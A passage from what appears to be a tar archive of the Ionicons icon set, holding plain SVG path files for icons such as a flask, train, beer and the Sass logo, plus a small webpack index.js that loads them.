16h-253c-8.8 0-16-7.2-16-16V132c0-8.8 7.2-16 16-16h21.3c1.1 0 2-.9 2-2v-8.8c0-19.1 5.6-36.7 27.6-36.7h.3c.9 0 1.8-.6 1.9-1.6 1.5-6.9 4.1-11.7 7.2-15.8 1-1.3.1-3.2-1.6-3.2l-76.3-.1C94.3 47.9 80 62.1 80 79.7V424c0 41.7 14.3 56 32 56h288.5c17.4 0 31.5-14.1 31.5-31.5V80c0-17.7-14.3-32-32-32z"/></svg>ionicons/svg/md-flask.svg000064400000000431151701353760011411 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 354.4L336 192V96h32V48H144v48h32v96L76.1 354.4C67.7 370.3 63.6 385.8 64 400c1.1 36.5 28.7 64 65.1 64H385c36.3 0 62.1-27.6 63-64 .3-14.2-2.6-29.7-11.1-45.6zM155.1 304l29.5-48h143.1l29.8 48H155.1z"/></svg>ionicons/svg/index.js000064400000000131151701353760010634 0ustar00
require.context('!!file-loader?name=[name].[ext]&outputPath=svg!./', false, /.svg$/);
ionicons/svg/ios-nuclear.svg000064400000001225151701353760012136 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-88.5 364.8l49.2-85.8c1.1-1.9.5-4.2-1.3-5.4-20.2-12.9-34-35-35.2-60.3-.1-2.1-1.8-3.8-4-3.8H76V256c0-48.1 18.7-93.3 52.7-127.3 10.8-10.8 22.7-20 35.4-27.6l50.5 87.9c1.1 1.9 3.5 2.5 5.4 1.5 10.7-5.8 22.9-9 35.9-9 12.5 0 24.4 3.1 34.8 8.5 1.9 1 4.2.3 5.3-1.5l51.1-87.7c13 7.7 25.1 17 36.1 28 34 34 52.7 79.2 52.7 127.3v1.5h-100c-2.1 0-3.9 1.7-4 3.8-1.3 25.4-15 47.5-35.2 60.3-1.8 1.2-2.4 3.5-1.3 5.4l49.2 85.8c-26.7 15.1-57 23.2-88.5 23.2-31.6-.1-61.9-8.2-88.6-23.3z"/><circle cx="256" cy="256" r="56"/></svg>ionicons/svg/ios-remove.svg000064400000000311151701353760011775 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.5 240h-225c-8.8 0-16 7.2-16 16 0 4.4 1.8 8.4 4.7 11.3 2.9 2.9 6.9 4.7 11.3 4.7h225c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/></svg>ionicons/svg/ios-share-alt.svg000064400000000553151701353760012370 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M444.7 230.4l-141.1-132c-1.7-1.6-3.3-2.5-5.6-2.4-4.4.2-10 3.3-10 8v66.2c0 2-1.6 3.8-3.6 4.1C144.1 195.8 85 300.8 64.1 409.8c-.8 4.3 5 8.3 7.7 4.9 51.2-64.5 113.5-106.6 212-107.4 2.2 0 4.2 2.6 4.2 4.8v65c0 7 9.3 10.1 14.5 5.3l142.1-134.3c2.6-2.4 3.4-5.2 3.5-8.4-.1-3.2-.9-6.9-3.4-9.3z"/></svg>ionicons/svg/md-train.svg000064400000000733151701353760011433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48c-88 0-176 10.9-176 87.6v208c0 42.3 34.5 76.6 77 76.6L124 453v11h49.1l44-43.8H300l44 43.8h44v-10.9l-33-32.8c42.5 0 77-34.4 77-76.6v-208C432 58.9 353.2 48 256 48zm-99 328.4c-18.3 0-33-14.7-33-32.8s14.7-32.8 33-32.8 33 14.7 33 32.8-14.7 32.8-33 32.8zm77-153.2H124v-87.6h110v87.6zm44 0v-87.6h110v87.6H278zm77 153.2c-18.3 0-33-14.7-33-32.8s14.7-32.8 33-32.8 33 14.7 33 32.8-14.7 32.8-33 32.8z"/></svg>ionicons/svg/ios-walk.svg000064400000001531151701353760011443 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M201.1 361.2l-67.8 48.9c-3.7 3.6-5.2 9.1-5.3 13.9-.1 4.8 1.2 8.8 4.7 12.5 3.6 3.9 8.8 6.2 13.6 6.2 4.5 0 12.5-4.9 16-8.4l69.7-51.6c3.6-3.5 5.7-8.4 5.7-13.5l9.1-52.5-45.7-46.7v91.2z"/><ellipse transform="rotate(-80.781 274.673 69.329)" cx="274.7" cy="69.3" rx="37.3" ry="37.3"/><path d="M350.7 459.2l-15.2-117.4c-.5-3.5-1.9-6.8-4.2-9.5l-57-68.8V143.9c0-11.3-6.3-15.9-18.3-15.9h-37c-2.8 0-5.2 1-7.7 2.3l-68 31.7c-10 5.3-15.3 15.4-15.3 28.7V256c0 10.3 8.2 18.7 18.3 18.7 10.1 0 18.3-8.4 18.3-18.7v-58.2c0-3 1.7-5.8 4.4-7.1l32.2-16.4v75.3c0 4.2 1.6 8.2 4.6 11.2l92.4 94.4c1.2 1.2 2 2.8 2.2 4.5l14.2 104.7c1.3 9.3 9.1 15.7 18.1 15.7h2c9.9-1.5 17.4-10.7 16-20.9z"/><path d="M378.4 232.4l-95-96.2v52.6l69.2 70.1c7.2 7.3 18.7 7.2 25.9-.1 3.5-3.6 5.5-7.5 5.5-12.2 0-4.8-2-10.5-5.6-14.2z"/></svg>ionicons/svg/ios-today.svg000064400000000765151701353760011635 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388 32H124c-33.1 0-60 26.9-60 60v328c0 33.1 26.9 60 60 60h264c33.1 0 60-26.9 60-60V92c0-33.1-26.9-60-60-60zm32 388c0 17.6-14.4 32-32 32H124c-17.6 0-32-14.4-32-32V92c0-17.6 14.4-32 32-32h264c17.6 0 32 14.4 32 32v328z"/><path d="M360 176H152c-13.2 0-24 10.8-24 24v192c0 13.2 10.8 24 24 24h208c13.2 0 24-10.8 24-24V200c0-13.2-10.8-24-24-24zM142 124h100c7.7 0 14-6.3 14-14s-6.3-14-14-14H142c-7.7 0-14 6.3-14 14s6.3 14 14 14z"/></svg>ionicons/svg/ios-beer.svg000064400000001656151701353760011432 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112 162c0-13.3 10.7-24 24-24h229.5c4.9 0 9.6 1.5 13.5 4.4 2 1.5 4.9 0 4.8-2.5-.1-5.7-.2-9.3-.2-21.6 0-20.8-17.2-38.3-38.1-38.3h-.2c-5.7-.4-10.8-4-12.9-9.3-9-22.6-32.3-38.6-56.4-38.6-21 0-34.2 7-44 18.3-4.4 5-11.8 5.9-17.4 2.4-7.3-4.6-16.1-7.1-25.5-7.1-14.4 0-27.2 7.1-35.8 17.4-4 4.9-10.4 7-16.6 5.9-5.2-1-12.6-1.8-22.7-1.8-25 0-50 16.6-50 42.4v4c0 28.8 16 22.9 16 41.8v50.8c0 13.4-11.2 19.3-11.2 35.2 0 8.8 8 16.8 16.8 16.8H112V162zM386 452H110c-7.7 0-14 6.3-14 14s6.3 14 14 14h276c7.7 0 14-6.3 14-14s-6.3-14-14-14z"/><path d="M400 194h-32v-24c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v213.8c0 12.1-1.1 18.2-3.2 30.1l-.1.5c-.8 4.7.2 9.5 2.8 13.5 3.4 5.1 9.1 8.2 15.3 8.2h213.9c4.1 0 8.1-1.4 11.1-4.1 4.7-4.1 6.5-10.3 5.2-16-2.7-11.8-4.5-17.8-4.8-29.9H400c26.4 0 48-21.6 48-48v-96c0-26.5-21.6-48.1-48-48.1zm20 144c0 11-9 20-20 20h-32V222h32c11 0 20 9 20 20v96z"/></svg>ionicons/svg/ios-desktop.svg000064400000001153151701353760012156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 442.2c-.3-2.2-2-3.9-4.2-4.3l-22.3-1.9c-11.8-3.1-20.5-16.2-22.3-28.3L302 400h-92l-1.2 7.6c-1.9 12.1-10.5 25.2-22.3 28.3l-22.3 1.9c-2.1.5-3.9 2.2-4.2 4.3-.4 3.1 2 5.8 5.1 5.8h181.8c3 .1 5.5-2.6 5.1-5.7zM472.9 71c-4.5-4.5-10.7-7-17-7H56.2c-6.4 0-12.5 2.5-17 7S32 81.7 32 88v272c0 6.4 2.7 12.5 7.2 17s10.5 7 16.8 7h400c6.4 0 12.3-2.5 16.8-7s7.2-10.7 7.2-17V88c.1-6.3-2.6-12.5-7.1-17zM256 360c-4.4 0-8-3.6-8-8s3.6-8 8-8 8 3.6 8 8-3.6 8-8 8zm203.9-40H52.2c-2.2 0-4-1.8-4-4V92c0-6.6 5.4-12 12-12h391.7c6.6 0 12 5.4 12 12v224c0 2.2-1.8 4-4 4z"/></svg>ionicons/svg/ios-color-palette.svg000064400000001340151701353760013255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.1 347.9c-6.6-6.1-16.3-7.6-24.6-9-11.5-1.9-15.9-4-22.6-10-14.3-12.7-14.3-31.1 0-43.8l30.3-26.9c46.4-41 46.4-108.2 0-149.2-34.2-30.1-80.1-45-127.8-45-55.7 0-113.9 20.3-158.8 60.1-83.5 73.8-83.5 194.7 0 268.5 41.5 36.7 97.5 55 152.9 55.4h1.7c55.4 0 110-17.9 148.8-52.4 14.4-12.7 12-36.6.1-47.7zM120 216c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm40 126c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-161c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm72 219c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm24-208c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg>ionicons/svg/md-battery-charging.svg000064400000000436151701353760013550 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8zM233.6 435.2V312h-44.8l89.6-168v123.2h44.8l-89.6 168z"/></svg>ionicons/svg/ios-pricetags.svg000064400000001042151701353760012463 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.3 32H285.1c-3.7 0-7.2 1.5-9.8 4.1L40.1 272.2c-10.8 10.8-10.8 28.4 0 39.2l111.5 112.5C162.4 434.7 179 440 195 426l231.9-232.3c2.6-2.6 4.1-6.1 4.1-9.8V59.7c0-15.3-12.4-27.7-27.7-27.7zm-45.9 107.5c-19.6 2.1-36-14.4-33.9-33.9 1.5-14.3 13-25.7 27.3-27.3 19.6-2.1 36 14.4 33.9 33.9-1.5 14.3-13 25.8-27.3 27.3z"/><path d="M456 80.3V194c0 3.7-1.5 7.2-4.1 9.8L192.7 463l8.8 8.8c10.8 10.8 28.4 10.8 39.2 0l235.2-236.2c2.6-2.6 4.1-6.1 4.1-9.8V107.7c0-14-10.5-25.6-24-27.4z"/></svg>ionicons/svg/ios-pint.svg000064400000000703151701353760011457 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M372 175.2c0-19.5-1-81.7-19.3-115.6-4.5-8.2-9.5-11.6-28.7-11.6H188c-19.3 0-24.2 3.4-28.7 11.6-18.3 33.9-19.3 96.5-19.3 116 0 91 36 93.1 36 167.8 0 36.7-16 66.7-16 92.7 0 25.1 6 27.8 29 27.8h134c23 0 29-2.9 29-27.9 0-26-16-55.7-16-92.4 0-74.7 36-77.4 36-168.4zM188 76h136c2.4 0 4.3.1 5.7.2 5.4 11.6 9.4 29.3 11.8 50.8h-171c2.4-21.6 6.5-39.3 11.8-50.8 1.4-.1 3.3-.2 5.7-.2z"/></svg>ionicons/svg/ios-arrow-dropdown.svg000064400000001077151701353760013476 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M147.6 210.7c-7.5 7.5-7.5 19.8 0 27.3l95.7 95.4c7.3 7.3 19.1 7.5 26.6.6l94.3-94c3.8-3.8 5.7-8.7 5.7-13.7 0-4.9-1.9-9.9-5.6-13.6-7.5-7.5-19.7-7.6-27.3 0l-81 79.8-81.1-81.9c-7.5-7.5-19.7-7.5-27.3.1z"/><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm332.4-124.4C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6z"/></svg>ionicons/svg/md-git-commit.svg000064400000000447151701353760012371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 224h-99.8c-14.2-55.2-64.2-96-123.7-96S147 168.8 132.8 224H32v64h100.8c14.2 55.2 64.2 96 123.7 96s109.5-40.8 123.7-96H480v-64zM256.5 336c-44 0-79.8-35.9-79.8-80s35.8-80 79.8-80 79.8 35.9 79.8 80-35.8 80-79.8 80z"/></svg>ionicons/svg/logo-yen.svg000064400000000333151701353760011445 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 32h-80L256 253.128 144 32H64l112.368 208H128v48h73.564L216 319v17h-88v48h88v96h80v-96h88v-48h-88v-17l14.891-31H384v-48h-48.289L448 32z"/></svg>ionicons/svg/ios-person-add.svg000064400000002032151701353760012536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M385.3 386c-15.6-5.5-37.8-6.8-52.1-10-8.2-1.8-20.1-6.3-24.1-11.1-3.5-4.2-2.1-38.4-1.7-47.2.1-1.3.5-2.6 1.1-3.8 2.2-3.6 7.2-12.2 10.3-20 3-7.6 6.2-25 7.6-33.3.4-2.4 1.9-4.5 4-5.6 2.6-1.5 6.1-4.9 7.8-13.4 3.1-15.7 8-21.8 7.4-33.5-.3-5.2-1.7-8-3.2-9.5-2-1.9-2.7-4.8-2-7.4 1.9-7.6 4.7-22.6 5.2-45.6.9-41.1-31.3-81.6-89.5-81.6-59.1 0-90.5 40.5-89.6 81.6.5 23 3.3 38 5.1 45.6.6 2.7-.1 5.5-2 7.4-1.5 1.5-3 4.3-3.2 9.5-.6 11.7 4.3 17.8 7.4 33.5 1.7 8.4 5.2 11.9 7.8 13.4 2.1 1.2 3.6 3.2 4 5.6 1.4 8.3 4.6 25.7 7.6 33.3 3.1 7.8 8.2 16.5 10.3 20 .7 1.1 1.1 2.4 1.1 3.8.4 8.8 1.8 43.1-1.7 47.2-4 4.8-15.9 9.3-24.1 11.1-14.3 3.2-36.5 4.5-52.1 10-14.2 5-55.3 20.5-62.5 52.3-1.1 5 2.7 9.7 7.9 9.7H440c5.1 0 8.9-4.7 7.8-9.7-7.2-31.8-48.3-47.3-62.5-52.3z"/><path d="M437.5 293.5h-27v-27c0-5.8-4.7-10.5-10.5-10.5s-10.5 4.7-10.5 10.5v27h-27c-5.8 0-10.5 4.7-10.5 10.5s4.7 10.5 10.5 10.5h27v27c0 5.8 4.7 10.5 10.5 10.5s10.5-4.7 10.5-10.5v-27h27c5.8 0 10.5-4.7 10.5-10.5s-4.7-10.5-10.5-10.5z"/></svg>ionicons/svg/ios-heart.svg000064400000000436151701353760011613 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113z"/></svg>ionicons/svg/ios-mic.svg000064400000000713151701353760011256 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 336c35.2 0 64-28.8 64-64V112c0-35.2-28.8-64-64-64s-64 28.8-64 64v160c0 35.2 28.8 64 64 64z"/><path d="M352 192c-7.7 0-14 6.3-14 14v69c0 45.2-36.8 82-82 82s-82-36.8-82-82v-69c0-7.7-6.3-14-14-14s-14 6.3-14 14v69c0 55.9 41.9 102.2 96 109.1V436h-36c-7.7 0-14 6.3-14 14s6.3 14 14 14h100c7.7 0 14-6.3 14-14s-6.3-14-14-14h-36v-51.9c54.1-6.9 96-53.2 96-109.1v-69c0-7.7-6.3-14-14-14z"/></svg>ionicons/svg/md-notifications.svg000064400000000577151701353760013175 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c22.779 0 41.411-18.719 41.411-41.6h-82.823c0 22.881 18.633 41.6 41.412 41.6zm134.589-124.8V224.8c0-63.44-44.516-117.518-103.53-131.041V79.2c0-17.682-13.457-31.2-31.059-31.2s-31.059 13.518-31.059 31.2v14.559c-59.015 13.523-103.53 67.601-103.53 131.041v114.4L80 380.8v20.8h352v-20.8l-41.411-41.6z"/></svg>ionicons/svg/ios-stats.svg000064400000000765151701353760011653 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M184 448h48c4.4 0 8-3.6 8-8V72c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v368c0 4.4 3.6 8 8 8zM88 448h48c4.4 0 8-3.6 8-8V296c0-4.4-3.6-8-8-8H88c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8zM280.1 448h47.8c4.5 0 8.1-3.6 8.1-8.1V232.1c0-4.5-3.6-8.1-8.1-8.1h-47.8c-4.5 0-8.1 3.6-8.1 8.1v207.8c0 4.5 3.6 8.1 8.1 8.1zM368 136.1v303.8c0 4.5 3.6 8.1 8.1 8.1h47.8c4.5 0 8.1-3.6 8.1-8.1V136.1c0-4.5-3.6-8.1-8.1-8.1h-47.8c-4.5 0-8.1 3.6-8.1 8.1z"/></svg>ionicons/svg/md-medical.svg000064400000000330151701353760011705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M351.9 256L460 193.6l-48-83.2-108 62.4V48h-96v124.8l-108-62.4-48 83.2L160.1 256 52 318.4l48 83.2 108-62.4V464h96V339.2l108 62.4 48-83.2z"/></svg>ionicons/svg/md-navigate.svg000064400000000216151701353760012110 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 64L96 433.062 110.938 448 256 384l145.062 64L416 433.062z"/></svg>ionicons/svg/md-flash-off.svg000064400000000300151701353760012151 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M459.9 435.5L76.1 52.5 51.9 76.6 160 184.3V272h64v192l72-144 139.9 139.5zM352 208h-64l64-160H160v40.3l168 167.6z"/></svg>ionicons/svg/md-analytics.svg000064400000001334151701353760012303 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M379.4 178.3l-87.2 133.4C299 320 303 330.5 303 342c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-3 .3-6 .8-8.9l-57.6-33.5c-8.6 8.3-20.3 13.4-33.3 13.4-8.6 0-16.6-2.3-23.6-6.2L32 364.2v57.2c0 23.5 19.2 42.7 42.7 42.7h362.7c23.5 0 42.7-19.2 42.7-42.7V208.8l-58.6-38.9c-8.1 6.3-18.3 10.1-29.4 10.1-4.4 0-8.7-.6-12.7-1.7z"/><path d="M117 217c26.5 0 48 21.5 48 48 0 2.1-.2 4.2-.4 6.2l60.1 33.6c8.3-6.8 18.8-10.8 30.4-10.8 3.6 0 7.1.4 10.4 1.1l87.4-135.4c-5.6-7.8-8.9-17.4-8.9-27.8 0-26.5 21.5-48 48-48s48 21.5 48 48c0 3.9-.5 7.7-1.3 11.3l41.3 27.6V90.7c0-23.5-19.2-42.7-42.7-42.7H74.7C51.2 48 32 67.2 32 90.7V320l40-38.3c-1.9-5.2-3-10.8-3-16.7 0-26.5 21.5-48 48-48z"/></svg>ionicons/svg/md-close.svg000064400000000341151701353760011416 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405 136.798L375.202 107 256 226.202 136.798 107 107 136.798 226.202 256 107 375.202 136.798 405 256 285.798 375.202 405 405 375.202 285.798 256z"/></svg>ionicons/svg/md-recording.svg000064400000000727151701353760012275 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.8 160c-53.4 0-96.2 42.8-96.2 96 0 23.6 7.9 44.5 21.9 61.1h-78.8c14-16.6 21.9-37.5 21.9-61.1 0-53.2-42.9-96-96.2-96S46 202.8 46 256s42.9 96 96.2 96h227.5c53.4 0 96.2-42.8 96.2-96s-42.8-96-96.1-96zM142.2 317.1C108.1 317.1 81 290 81 256s27.1-61.1 61.2-61.1 61.2 27.1 61.2 61.1-27 61.1-61.2 61.1zm227.6 0c-34.1 0-61.2-27.1-61.2-61.1s27.1-61.1 61.2-61.1S431 222 431 256s-27.1 61.1-61.2 61.1z"/></svg>ionicons/svg/ios-git-merge.svg000064400000001412151701353760012363 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378 218c-33.5 0-62.1 23.8-68.6 56.1-10.3-.5-18.4-2.7-39.2-10.8-30.5-11.9-71.8-33.2-111.5-95.8 27.1-10.1 45.4-36 45.4-65.5 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3v171.3c-14.5 3.2-27.8 11-37.7 22.3C70.2 376.7 64 393 64 410c0 38.6 31.4 70 70 70s70-31.4 70-70c0-17.4-6.4-34-18-46.9-10.3-11.4-24-19.1-39-21.9V200.3c40.8 56.8 82 77 113 89.1 25.2 9.8 37.1 12.3 49.5 12.8 6.6 32.2 35.2 55.8 68.5 55.8 38.6 0 70-31.4 70-70s-31.4-70-70-70zM176 410c0 23.2-18.8 42-42 42s-42-18.8-42-42 18.8-42 42-42 42 18.8 42 42zm-42-266c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zm244 186c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>ionicons/svg/logo-instagram.svg000064400000001154151701353760012641 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336 96c21.2 0 41.3 8.4 56.5 23.5S416 154.8 416 176v160c0 21.2-8.4 41.3-23.5 56.5S357.2 416 336 416H176c-21.2 0-41.3-8.4-56.5-23.5S96 357.2 96 336V176c0-21.2 8.4-41.3 23.5-56.5S154.8 96 176 96h160m0-32H176c-61.6 0-112 50.4-112 112v160c0 61.6 50.4 112 112 112h160c61.6 0 112-50.4 112-112V176c0-61.6-50.4-112-112-112z"/><path d="M360 176c-13.3 0-24-10.7-24-24s10.7-24 24-24c13.2 0 24 10.7 24 24s-10.8 24-24 24zM256 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64m0-32c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"/></svg>ionicons/svg/md-map.svg000064400000000660151701353760011072 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.333 64c-2.176 0-4.396 1.369-9.176 3.207L320 108.802 192 64 71.469 104.531C67.197 105.604 64 109.864 64 115.197v322.136C64 443.729 68.271 448 74.666 448c1.828 0 6.505-2.33 9.087-3.319L192 403.197 320 448l120.531-40.531c4.271-1.073 7.469-5.334 7.469-10.667V74.666C448 68.271 443.729 64 437.333 64zM320 405.333l-128-44.802V106.666l128 44.803v253.864z"/></svg>ionicons/svg/md-person.svg000064400000000353151701353760011622 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 256c52.805 0 96-43.201 96-96s-43.195-96-96-96-96 43.201-96 96 43.195 96 96 96zm0 48c-63.598 0-192 32.402-192 96v48h384v-48c0-63.598-128.402-96-192-96z"/></svg>ionicons/svg/md-sync.svg000064400000000704151701353760011270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 93.09V32l-80 81.454 80 81.456v-61.093c65.996 0 120 54.982 120 122.183 0 20.363-5 39.714-14.004 57.016L391 342.547c15.996-25.457 25-54.988 25-86.547 0-89.599-72.002-162.91-160-162.91zm0 285.094c-66.001 0-120-54.988-120-122.184 0-20.363 5-39.709 13.999-57.02L121 169.454C104.999 193.89 96 224.436 96 256c0 89.599 72.002 162.91 160 162.91V480l80-81.453-80-81.457v61.094z"/></svg>ionicons/svg/logo-sass.svg000064400000006151151701353760011627 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M511.784 329.108c-1.67-13.599-9.236-24.146-20.795-32.416 2.857 2.04 5.275 3.766-.055-.041-7.189-5.131-3.38-2.411-.047-.032-28.5-20.301-65.676-15.789-96.733-4.511-12.447-20.295-12.987-35.783-5.816-57.937.929-2.8.295-4.354-2.624-5.604-7.086-3.03-17.291-1.427-24.422.463-2.462.646-4.254 1.9-4.8 4.381-5.154 24.243-21.009 46.448-34.828 66.886-9.731-18.652-8.96-33.087-2.414-52.516.798-2.366.431-3.624-1.937-4.879-7.26-3.757-18.401-1.912-25.8.276-8.509 2.482-21.29 44.594-25.372 52.946-8.531 17.442-16.091 44.665-30.585 58.502-12.3-15.807 22.526-51.517 10.882-65.851-3.938-4.848-11.063-4.723-15.586-.616 1.085-7.608 1.648-12.609-.32-19.063-2.081-6.79-7.361-10.687-15.09-10.49-17.995.527-33.843 13.815-44.641 26.397-10.277 12.105-37.381 19.627-51.953 26.927-25.032-21.807-79.221-44.947-80.632-82.081-1.528-41.846 48.319-70.245 81.597-87.228 43.28-22.104 109.961-49.608 159.138-25.436 13.049 6.414 18.299 20.171 14.707 33.348-9.368 34.366-47.198 57.293-80.103 67.807-16.189 5.175-33.969 9.027-51.1 8.026-22.955-1.343-40.83-15.224-43.281-16.086-2.049-.389-1.888 2.261-1.347 3.664 23.816 62.433 144.417 16.681 175.956-15.371 15.189-15.421 24.413-30.365 28.351-53.894 4.616-27.583-15.634-44.842-31.004-51.957-77.918-36.072-185.636 11.168-244.553 59.327-25.568 20.901-57.552 54.11-42.874 88.946 15.93 37.805 64.736 57.19 96.503 80.312-25.704 12.773-57.862 25.983-74.518 49.933-9.524 13.729-12.903 28.359-5.811 43.966 12.572 27.568 58.285 15.622 77.573 3.471 17.67-11.13 29.563-26.07 34.7-45.228 4.455-16.609 3.541-33.866-3.856-49.512l28.585-14.458c-7.697 23.076-11.097 52.003 4.881 72.855 6.402 8.338 23.017 8.675 29.817.311 8.816-10.943 14.664-24.655 20.503-37.206-.682 9.373-1.856 19.996 1.377 28.165 3.71 9.373 12.126 11.291 20.792 5.343 26.52-18.203 43.398-68.652 56.463-98.062 3.552 12.829 7.473 24.548 13.957 36.376 1.602 2.903 1.407 4.774-.796 7.195-9.685 10.675-32.826 28.479-35.069 42.899-.524 3.371 1.713 6.599 5.686 7.37 15.573 3.108 32.838-2.531 45.482-11.078 13.188-8.922 17.446-21.087 14.245-35.515-4.576-20.771 10.993-43.98 25.801-61.03 2.719 12.908 6.816 25.331 14.143 36.606-13.075 11.483-32.58 27.764-29.779 46.939.988 6.865 7.135 11.301 14.514 9.736 15.783-3.324 29.416-10.113 39.37-22.146 9.023-10.855 5.792-22.701 1.856-34.635 23.872-6.815 48.022-8.177 71.831-.027 11.495 3.91 20.755 10.5 26.248 20.818 6.726 12.644 2.939 24.292-10.05 32.604-3.287 2.104-5.562 3.833-4.45 4.743 1.112.911 4.9 2.113 13.284-3.152 8.384-5.267 13.51-12.383 14.823-21.725a37.09 37.09 0 0 0-.024-7.755zm-398.838 25.259c-1.358 16.673-9.636 30.193-23.175 41.114-7.617 6.158-17.102 11.176-26.52 12.092-9.418.917-16.751-1.461-17.378-11.23-1.764-27.493 40.923-54.424 64.625-62.533 2.02 6.86 3.011 13.666 2.432 20.587l.016-.03zm103.102-72.453c-3.903 22.309-14.83 62.347-32.314 78.336-2.356 2.143-4.61 2.018-5.809-.771-10.345-24.059 3.671-73.669 33.082-81.328 3.457-.889 5.602.582 5.041 3.763zm70.311 81.768c8.422-8.962 16.834-17.916 25.269-26.927 1.043 10.021-17.571 29.964-25.269 26.927zm80.714-17.696c-2.348 1.273-7.621 2.515-7.827.835-1.482-12.085 11.816-24.874 20.067-30.867 4.453 11.343-.818 23.834-12.24 30.032z"/></svg>ionicons/svg/ios-filing.svg000064400000001070151701353760011753 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 64H88c-22 0-40 18-40 40v304c0 22 18 40 40 40h336c22 0 40-18 40-40V104c0-22-18-40-40-40zm12 176c0 8.8-7.2 16-16 16h-86.8c-6.8 0-12.8 4.2-15.1 10.6C314 278.2 303.8 288 292 288h-72c-11.9 0-22.1-9.8-26.1-21.4-2.2-6.4-8.3-10.6-15.1-10.6H92c-8.8 0-16-7.2-16-16V108c0-8.8 7.2-16 16-16h328c8.8 0 16 7.2 16 16v132z"/><path d="M386 156H126c-7.7 0-14-6.3-14-14s6.3-14 14-14h260c7.7 0 14 6.3 14 14s-6.3 14-14 14zM386 220H126c-7.7 0-14-6.3-14-14s6.3-14 14-14h260c7.7 0 14 6.3 14 14s-6.3 14-14 